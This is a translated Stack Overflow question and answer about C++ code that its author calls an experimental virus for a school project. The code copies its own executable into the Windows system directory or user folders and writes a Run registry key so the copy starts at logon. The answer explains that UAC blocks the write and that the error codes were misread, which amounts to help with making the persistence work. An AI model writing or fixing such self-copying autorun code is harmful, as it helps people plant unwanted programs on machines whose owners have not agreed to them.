c++ - 无法写入注册表

标签 c++ winapi registry virus

我正在为我的学校项目编写一个实验性病毒。它应该复制自己,开始自己.. 我从这个 article 开始,我来到这里:

#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;

void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD  bufSize = MAX_PATH;

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));

std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];

if(!CopyFile(pathtofile, sysfull, false))
{
    sysfull = L"C:\\Users\\Public\\virus.exe";
    if(!CopyFile(pathtofile, sysfull, false))
    {
        GetUserName(user, &bufSize);
        std::wstring u(L"C:\\Users\\");
        u += std::wstring(user);
        u += std::wstring(L"\\Documents\\virus.exe");
        sysfull = &u[0];
        CopyFile(pathtofile, sysfull, false);
    }
}

HKEY hKey;

bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);

MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}

问题是当我在 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 下查看注册表时,没有新 key 。 RegOpenKeyEx 和 RegSetValueEx 返回 true,一切似乎都工作正常,但事实并非如此,我不知道为什么。

我在 Windows 8 上使用 VS12。

最佳答案

Windows Vista 和更高版本通过称为 UAC 的机制阻止对某些敏感位置的写入访问,例如 HKEY_LOCAL_MACHINE_KEYC:\Windows 等.如果启用了 UAC(默认情况下是这样),默认情况下管理员级别用户的权限会减少,程序需要使用一种称为提升的技术来获得完整的管理员权限。或者,您可以通过右键单击菜单以管理员身份启动您的程序以授予其完全访问权限。

无论哪种方式,在启用 UAC 的情况下,用户都需要在授予权限之前通过对话框批准提升。

RegOpenKeyEx() 等注册表函数在成功时返回 0,在失败时返回错误代码 - 不是 true/false。如果您正确检查返回代码,您会看到它们返回 5,即 ERROR_ACCESS_DENIED

关于c++ - 无法写入注册表,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19202353/

相关文章:

c - 空白的 Windows 应用程序不显示?

c++ - 为什么我的 Win32(c++, visual studio 2013) 窗口没有出现?

c# - 为 Visual Studio 安装项目中的每个用户将注册表项添加到 HKCU RunOnce

c++ - 如何在基本视频流中寻找特定帧?

c++ - 迭代在 for 循环中初始化的 std::array 是未定义的行为吗?

c++ - 函数重载和读取 fdump-tree-all 输出

c++ - 为什么这不是 C++ 中的内存泄漏?

c++ - 解析 PE 文件中导入和导出表的 RVA

java - 以编程方式检查Java开发工具包是否已安装

c# - 通过 Windows 注册表禁用 IE11 中的自动完成